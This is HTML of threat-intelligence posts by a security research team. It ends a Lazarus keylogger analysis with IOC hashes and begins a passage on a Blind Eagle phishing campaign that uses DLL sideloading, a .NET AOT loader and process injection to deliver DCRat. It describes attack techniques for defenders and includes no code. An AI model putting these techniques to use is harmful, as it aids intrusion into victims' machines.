style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5515587529976019" data-w="834" style="width:553.739990234375px;height:305.3999938964844px;" src="https://wechat2rss.xlab.app/img-proxy/?k=5bf259b0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXKUkwOiaGUqjFAHf0VUGSE9Fvicj2BJKCxNB0C8AeDhswAfYz3vSqiaJoFLBKWEwiahwY9l7eEMxSCia7N065fRxLN1U5uYwxBWMOSc%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-align: center;"><span leaf="" style="text-align: center;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;color: rgb(190, 25, 31);">图 9 传输线程</span></span></p><p style="margin: 16px auto;text-indent: 2em;text-align: justify;"><span leaf="">其中，样本将信息发送到上一篇文章提到的设定的地址。</span></p><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6915629322268326" data-w="723" style="width:553.739990234375px;height:382.94000244140625px;" src="https://wechat2rss.xlab.app/img-proxy/?k=8b97d3c2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXJZczuicpKLxS2V9HeMSTIBq69KXkqNuJexct4omE1eRfPAPFGlWXmIQUiaiah9rRype803zfNDOib00lNzc7na00sbFW3JICo7axk%2F640%3Fwx_fmt%3Dpng"/></span></span><o:page></o:page></p><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6330532212885154" data-w="714" style="width:553.739990234375px;height:350.5400085449219px;" src="https://wechat2rss.xlab.app/img-proxy/?k=816f2691&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXJNUCQCCN3ibTAOcGQqLaRyJdAeyu6sibT8CfUwrDlT2nhhhjBJCDQwpTo3aO4UQCbDFuySTg1nhoIrEbeaAAaUM0RqU9lhP3B1s%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-align: center;"><span style="text-align: center;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span leaf="" style="text-align: center;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;color: rgb(190, 25, 31);">图 10 信息发送地址</span></span></span></p><div data-role="outer" style="margin: 0px;padding: 0px;box-sizing: border-box;"><div data-tools="135编辑器" data-id="101849" style="margin: 0px;padding: 0px;box-sizing: border-box;"><div style="margin: 10px 0px;padding: 0px;box-sizing: border-box;"><div style="margin: 0px 0px -15px;padding: 0px;display: flex;box-sizing:border-box;transform: rotate(0deg);-webkit-transform: rotate(0deg);-moz-transform: rotate(0deg);-o-transform: rotate(0deg);"><p data-brushtype="text" style="margin: 0px;padding: 0px 1em;color: #f2f2f2;line-height: 32px;height: 32px;font-size: 16px;background-color: #be191f;letter-spacing: 1.5px;box-sizing: border-box;"><strong style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;font-size: 17px;"><span leaf="">总结</span></span></strong></p></div><div style="margin: 0px 0px 0px 6px;padding: 30px 15px 10px;background-color: #f2f2f2;flex-shrink: 0;box-sizing: border-box;"><div data-autoskip="1" style="margin: 0px;padding: 0px;line-height: 1.75em;letter-spacing: 1.5px;font-size: 17px;box-sizing: border-box;"><div style="margin: 0px;padding: 0px;text-indent: 2em;box-sizing: border-box;"><p style="margin-top: 8px;margin-bottom: 8px;display: block;text-indent: 2em;line-height: 1.6em;text-align: justify;"><span style="color: rgb(51, 51, 51);text-decoration-thickness: initial;font-size: 17px;font-family: 仿宋;display: inline !important;"><span style="font-size: 14pt;font-family: 仿宋;font-variant: normal;text-transform: none;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; text-align: left; margin-left: 0.0pt; line-height: normal; mso-pagination: widow-orphan; font-size: 12.0pt; font-family: 宋体; mso-fareast-font-family: &#39;宋体&#39;; mso-bidi-font-family: 宋体; font-weight: normal; mso-bidi-font-weight: normal; text-indent: 21.0pt;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;font-size:14.0pt;\nmso-bidi-font-size:14.0pt;\nfont-family:仿宋;\nmso-ascii-font-family:仿宋;\nfont-variant:normal;\ntext-transform:none&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">本次对键盘监控组件的深度分析表明，该恶意模块并非简单功能叠加，而是一个高度工程化、多层冗余设计的隐蔽监控子系统。结合前文分析，这标志着Lazarus组织的监控工具链已从单一的“远程控制”升级为“操作行为+屏幕内容”的双重情报采集平台。其不仅能窃取明文密码和内部指令，更能通过上下文关联精准定位敏感数据。后续我们将持续追踪其在加密货币领域的渗透动向，及时预警相关风险。</span></span></span></p></div></div></div></div></div><div data-role="paragraph" style="margin: 0px;padding: 0px;box-sizing: border-box;"><div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []"><div style="margin: 2em auto 0px;padding: 0.5em 0px;white-space: normal;border-right: none;border-bottom: none;border-left: none;border-image: initial;border-top: 1px solid rgb(204, 204, 204);display: block;font-size: 15px;font-style: normal;font-weight: inherit;text-decoration: inherit;color: rgb(166, 166, 166);box-sizing: border-box;font-family:inherit;"><p style="margin-top: -1.2em;text-align: center;padding: 0px;border: none;line-height: 1.4;box-sizing: border-box;"><span style="font-size:15px;"><strong><span style="background-color: rgb(15, 15, 25);border-color: rgb(183, 184, 184);color: rgb(255, 255, 255);font-style: normal;padding: 8px 23px;text-align: center;text-decoration: inherit;font-family:inherit;"><span leaf="">附录 IOC</span></span></strong></span></p></div></div><p style="text-align: left;" data-pm-slice="3 3 []"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">350623d317587b0a21caa2d0f92af6b0</span></span></p><p style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">2E0C9085612944899519F8DDC71F48D9</span></span></p><p style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">304F2CA41006333650C80DC82EE3CA88</span></span></p><p style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">453F2DE79F5B4BED8D47AAEC2D1941F9</span></span></p><div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []"><div style="margin: 2em auto 0px;padding: 0.5em 0px;white-space: normal;border-right: none;border-bottom: none;border-left: none;border-image: initial;border-top: 1px solid rgb(204, 204, 204);display: block;font-size: 15px;font-style: normal;font-weight: inherit;text-decoration: inherit;color: rgb(166, 166, 166);box-sizing: border-box;font-family:inherit;"><p style="margin-top: -1.2em;text-align: center;padding: 0px;border: none;line-height: 1.4;box-sizing: border-box;"><span style="font-size:15px;"><strong><span style="background-color: rgb(15, 15, 25);border-color: rgb(183, 184, 184);color: rgb(255, 255, 255);font-style: normal;padding: 8px 23px;text-align: center;text-decoration: inherit;font-family:inherit;"><span leaf="">参考链接</span></span></strong></span></p></div></div></div></div><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">[1].</span></span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;"><a href="https://mp.weixin.qq.com/s/YzDg8MXiV6FhsiF7HWth4A" target="_blank">https://mp.weixin.qq.com/s/YzDg8MXiV6FhsiF7HWth4A</a></span></span></p><div data-role="outer" label="Powered by 135editor.com" style="" data-pm-slice="0 0 []"><div data-tools="135编辑器" data-id="96036"><div style="margin:10px auto;"><div data-autoskip="1" style="font-size: 14px;text-align: justify;letter-spacing: 1.5px;line-height: 1.75em;color: #3e3e3e;"><p hm_fix="208:559"><span style="color: rgb(190, 25, 31);font-size: 15px;"><strong style="letter-spacing: 0.544px;caret-color: red;max-width: 100%;overflow-wrap: break-word !important;font-family:-apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span style="max-width: 100%;overflow-wrap: break-word !important;font-family:微软雅黑, sans-serif;"><span leaf="">360</span></span></strong><strong style="letter-spacing: 0.544px;caret-color: red;max-width: 100%;overflow-wrap: break-word !important;font-family:-apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span style="max-width: 100%;overflow-wrap: break-word !important;font-family:微软雅黑, sans-serif;"><span leaf="">高级威胁研究院</span></span></strong></span></p><p style="margin: 0px;padding: 0px;text-align: justify;max-width: 100%;min-height: 1em;letter-spacing: 0.544px;line-height: 1.5em;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family:-apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span style="margin: 0px;padding: 0px;max-width: 100%;color: rgb(136, 136, 136);font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family:微软雅黑, sans-serif;"><span leaf="">360高级威胁研究院是360数字安全集团的核心能力支持部门，由360资深安全专家组成，专注于高级威胁的发现、防御、处置和研究，曾在全球范围内率先捕获双杀、双星、噩梦公式等多起业界知名的0day在野攻击，独家披露多个国家级APT组织的高级行动，赢得业内外的广泛认可，为360保障国家网络安全提供有力支撑。</span></span></p></div></div></div><o:page></o:page></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



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      <pubDate>Wed, 15 Jul 2026 17:35:00 +0800</pubDate>
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    <item>
      <title>APT-C-36使用新加载器开展攻击活动</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzUyMjk4NzExMA==&amp;mid=2247508740&amp;idx=1&amp;sn=7462e1127fcbe10281f7af3e1ea494d6</link>
      <description>360 高级威胁研究院监测到，2026 年 5 月盲眼鹰 APT 组织发起新一轮攻击，其利用搭载.NET AOT 编译技术的新型加载器加载 DCRat 远控木马，依靠原生机器码提升隐蔽性以控制受害主机。</description>
      <content:encoded><![CDATA[<p><span>高级威胁研究院</span> <span>2026-07-08 17:30</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e80087a3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FEmmib7pWXrXJg3tdicmoG67YstPdGoVHBiaLUSWYP37dHHjVO0pChJob33k7oyPzsESSNshLYDBBCR7WpTRaUH1k8HQ6jHU9c23X0TGVibtoXeo%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>360 高级威胁研究院监测到，2026 年 5 月盲眼鹰 APT 组织发起新一轮攻击，其利用搭载.NET AOT 编译技术的新型加载器加载 DCRat 远控木马，依靠原生机器码提升隐蔽性以控制受害主机。</p>
  <div data-role="outer" label="Powered by 135editor.com" style="" data-pm-slice="0 0 []"><div data-tools="135编辑器" data-id="102539"><div style="margin: 10px auto;text-align: left;"><div style="background: #f2f2f2;"><div style="box-sizing: border-box;padding:1em 1em;"><div style="display: flex;justify-content:  space-between;align-items: flex-end;" hm_fix="312:231"><div style="display: flex;justify-content: space-between;flex-direction: column;align-items: flex-start;border-left: 4px solid #be191f;box-sizing: border-box;"><p data-brushtype="text" style="font-size: 16px;letter-spacing: 1.5px;padding: 0px 0em 3px;color: #322828;margin-left: 12px;border-bottom: 1px solid #be191f;font-style: italic;box-sizing: border-box;"><strong><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-weight: bold;">APT-C-36</span></span></strong></p><p data-brushtype="text" style="letter-spacing: 1.5px;padding: 4px 0em 0px;color: #be191f;font-style: italic;box-sizing: border-box;"><span style="font-size: 18px;"><strong><span leaf="">盲眼鹰</span></strong></span></p></div></div><div data-autoskip="1"><p style="margin-bottom: 16px;margin-top: 16px;text-indent: 2em;text-align: justify;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;mso-style-parent: &#39;&#39;; margin-top: 0.0pt; margin-bottom: 0.0pt; text-align: justify; text-justify: inter-ideograph; margin-left: 0.0pt; text-indent: 0.0pt; line-height: normal; mso-pagination: none; font-size: 10.5pt; mso-bidi-font-size: 12.0pt; font-family: Calibri; mso-fareast-font-family: &#39;宋体&#39;; mso-bidi-font-family: Arial; mso-font-kerning: 1.0pt; font-weight: normal; mso-bidi-font-weight: normal;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;font-family:仿宋;\nmso-ascii-font-family:仿宋;\nmso-fareast-font-family:仿宋;\nfont-variant:normal;\ntext-transform:none&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">APT-C-36（盲眼鹰）是一个疑似来自南美洲的APT组织，主要目标位于哥伦比亚境内和南美洲的一些国家和地区，如厄瓜多尔、智利和巴拿马等。该组织自2018年被发现以来，针对以上目标地区的政府部门、金融、保险等行业的大型公司持续发起定向攻击。</span></p></div></div></div></div></div><div data-role="paragraph"><div style="text-align: left;margin: 10px auto;"><div style="background: linear-gradient(to bottom,rgba(254,254,254,0) 0%,rgba(254,254,254,0) 60%,#ffffff 60%,#ffffff 100%);"><div style="display: inline-block;"><div style="background-color: #be191f;padding: 6px 15px;box-sizing:border-box;"><p data-brushtype="text" style="font-size: 18px;letter-spacing: 1.5px;color: #ffffff;"><strong><span style="font-size:18px;"><span leaf="">一、概述</span></span></strong></p></div></div></div></div></div></div><p style="text-align: justify;text-indent: 2em;margin-bottom: 16px;margin-top: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">近期360高级威胁研究院监测发现，盲眼鹰组织在2026年5月份实施了新一轮攻击活动，在本轮活动中，攻击者在攻击过程中使用一种新型加载器来加载DCRat远控木马，该加载器使用.NET</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">Ahead-of-Time编译技术来生成原生机器码，提高其隐蔽性，进而实现对受害者计算机的控制。</span></p><div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []"><div style="text-align: left;margin: 10px auto;"><div style="background: linear-gradient(to bottom,rgba(254,254,254,0) 0%,rgba(254,254,254,0) 60%,#ffffff 60%,#ffffff 100%);"><div style="display: inline-block;"><div style="background-color: #be191f;padding: 6px 15px;box-sizing:border-box;"><p data-brushtype="text" style="font-size: 18px;letter-spacing: 1.5px;color: #ffffff;"><strong><span style="font-size:18px;"><span leaf="">二、攻击流程分析</span></span></strong></p></div></div></div></div></div><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-align: justify;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: none;font-size: 10.5pt;mso-bidi-font-size: 12.0pt;font-family: Calibri;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: Arial;mso-font-kerning: 1.0pt;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-ratio="0.4839816933638444" style="width:553.739990234375px;height:268.0px;" data-w="874" src="https://wechat2rss.xlab.app/img-proxy/?k=a4848cba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXI4yKN9LO9w0kL1fIzOVUian5LMRQJ1usbicBibplmrjKiaKjCMFNUamuI5XPCEqQ43mPeicb6b0RGpyTk0pxwaH68B0LJAq4LicsDsI%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 14px;">图1 基本攻击流程</span></span></p><p style="margin-top: 16px;margin-bottom: 16px;text-align: justify;margin-left: 0pt;text-indent: 2em;line-height: normal;font-size: 10.5pt;font-family: Calibri;font-weight: normal;"><span style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">如图1所示，攻击者将exe文件和若干个dll文件隐藏在诱饵中，受害者点击执行后将释放出这些文件，加载器通过“白加黑”的方式运行后，将最终的恶意载荷注入合法进程AddInProcess32.exe中并在内存中运行，实现对受害者计算机的远程控制。</span></span></p><h2 style="margin-bottom: 16px;margin-top: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="color: rgb(190, 25, 31);font-weight: bold;">1.载荷投递</span></span></h2><h3><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-weight: bold;">钓鱼过程</span></span></h3><h3 style="text-indent: 2em;margin-bottom: 16px;margin-top: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">本次攻击活动中使用的初始钓鱼诱饵仍然通过邮件投递，文件取名为“AJUSTE TRANSACCIONAL APLICADO CORRECTAMENTE DE MANERA EXITOSA”（交易调整已成功应用），可见是与银行相关的内容，点击运行后直接从该文件中释放出“白加黑”共6个文件。其中libwinpthread-1.dll为恶意动态链接库，它伪装成MinGW-w64 工具链中的pthread实现库，由合法exe加载，该exe实际上为Git管理工具 Scalar。</span></h3><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: none;font-size: 10.5pt;mso-bidi-font-size: 12.0pt;font-family: Calibri;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: Arial;mso-font-kerning: 1.0pt;font-weight: normal;mso-bidi-font-weight: normal;text-align: center;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3544715447154472" data-w="615" style="width:401.1400451660156px;height:142.13998413085938px;" src="https://wechat2rss.xlab.app/img-proxy/?k=1dd7bdc4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXIwSbYicfj6GCtArzhnmOV884rlZZicPjDpSrdibsrZgibkydt5JhkXYVibSf3pgDlZVaGIQW5icsOwDSBU2ic0AhRicU8C4sFOIYUvEYs%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 14px;">图2 钓鱼诱饵释放出的文件</span></span></p><h3 style=""><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-weight: bold;">加载过程</span></span></h3><p style="margin-top: 16px;margin-bottom: 16px;text-align: justify;margin-left: 0pt;text-indent: 2em;line-height: normal;font-size: 10.5pt;font-family: Calibri;font-weight: normal;"><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">libwinpthread-1.dll实际上疑似为一种QuirkyLoader[1]的变体，这是一个使用.NET AOT(Ahead-of-Time)即预先编译技术编译产生的加载器，它在执行前将.NET代码编译成本地机器代码，使生成的二进制文件看起来像是由 C 或 C++ 编写，同时失去了.NET的高层语义线索，从而加强了其隐蔽性和分析难度。</span></p><p style="margin-top: 16px;margin-bottom: 16px;text-align: justify;margin-left: 0pt;text-indent: 2em;line-height: normal;font-size: 10.5pt;font-family: Calibri;font-weight: normal;"><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">在这个dll中，该加载器可从多达40多个导出函数中被执行，包括sem_wait、sem_post等最常用的POSIX线程同步函数。</span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: none;font-size: 10.5pt;mso-bidi-font-size: 12.0pt;font-family: Calibri;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: Arial;mso-font-kerning: 1.0pt;font-weight: normal;mso-bidi-font-weight: normal;text-align: center;"><span 